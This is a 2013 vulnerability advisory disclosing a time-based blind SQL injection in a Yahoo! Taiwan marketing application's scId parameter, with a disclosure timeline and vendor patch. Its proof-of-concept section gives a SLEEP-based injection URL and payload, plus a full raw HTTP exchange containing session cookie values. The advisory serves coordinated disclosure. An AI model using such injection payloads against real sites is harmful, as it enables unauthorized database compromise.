Title: ====== Yahoo! TW YSM MKT - Blind SQL Injection Vulnerability Date: ===== 2013-04-03 References: =========== http://www.vulnerability-lab.com/get_content.php?id=892 VL-ID: ===== 892 Common Vulnerability Scoring System: ==================================== 7.1 Introduction: ============= Yahoo! Inc. is an American multinational internet corporation headquartered in Sunnyvale, California. It is widely known for its web portal, search engine Yahoo! Search, and related services, including Yahoo! Directory, Yahoo! Mail, Yahoo! News, Yahoo! Finance, Yahoo! Groups, Yahoo! Answers, advertising, online mapping, video sharing, fantasy sports and its social media website. It is one of the most popular sites in the United States. According to news sources, roughly 700 million people visit Yahoo! websites every month. Yahoo! itself claims it attracts `more than half a billion consumers every month in more than 30 languages. (Copy of the Vendor Homepage: http://www.yahoo.com ) Abstract: ========= An independent researcher (Ebrahim Hegazy) discovered a blind sql injection vulnerability in the Yahoo! Inc TW Marketing Service Application. Report-Timeline: ================ 2013-02-24: Researcher Notification & Coordination 2013-02-25: Vendor Notification 2013-03-01: Vendor Response/Feedback 2013-04-01: Vendor Fix/Patch by check 2013-04-03: Public Disclosure Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== A time based blind SQL Injection web vulnerability is detected in the official Yahoo! TW YSM Marketing Application Service. The vulnerability allows remote attackers to inject own sql commands to compromise the affected application dbms. The SQL Injection vulnerability is located in the index.php file of the soeasy module when processing to request manipulated scId parameters. By manipulation of the scId parameter the attackers can inject own sql commands to compromise the webserver application dbms. The vulnerability can be exploited by remote attackers without privileged application user account and without required user interaction. Successful exploitation of the sql injection vulnerability results in application and application service dbms compromise. Vulnerable Service(s): [+] Yahoo! Inc - TW YSM Marketing Vulnerable Module(s): [+] soeasy Vulnerable Module(s): [+] index.php Vulnerable Parameter(s): [+] scId Proof of Concept: ================= The time-based sql injection web vulnerability can be exploited by remote attackers without privileged application user account and without required user interaction. For demonstration or reproduce ... Vulnerable Service Domain: tw.ysm.emarketing.yahoo.com Vulnerable Module: soeasy Vulnerable File: index.php Vulnerable Parameters: ?p=2&scId= POC: http://tw.ysm.emarketing.yahoo.com/soeasy/index.php?p=2&scId=113; select SLEEP(5)-- Payload: 1; union select SLEEP(5)-- Request: http://tw.ysm.emarketing.yahoo.com/soeasy/index.php?p=2&scId=113;%20select%20SLEEP(5)-- GET /soeasy/index.php?p=2&scId=113;%20select%20SLEEP(5)-- HTTP/1.1 Host: tw.ysm.emarketing.yahoo.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: is_c=1; device=pc; showNews=Y; B=9tgpb118ilu04&b=3&s=mu; AO=o=1&s=1&dnt=1; tw_ysm_soeasy=d%3D351d9185185129780476f856. 17880929%26s%3DxLxK2mb96diFbErWUyv_jGQ--; __utma=266114698.145757337399.1361672202.1361672202.1361672202.1; __utmb=2663114698. 1.10.1361672202; __utmc=2636114698; __utmz=266114698.13616732202.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) DNT: 1 Connection: keep-alive HTTP/1.0 200 OK Date: Sun, 24 Feb 2013 02:16:48 GMT P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, private Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Note: Since it'a time based blind so the page will not give an output as a result in the reply, but it will SLEEP/DELAY for 5 seconds before it load. Solution: ========= The vulnerability can be patched by a restriction and secure parse of the scId parameter request. Risk: ===== The security risk of the time based blind sql injection web vulnerability is estimated as critical. Credits: ======== Vulnerability Laboratory [Research Team] - Ebrahim Hegazy [hegazy@vulnerability-lab.com] (research@vulnerability-lab.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 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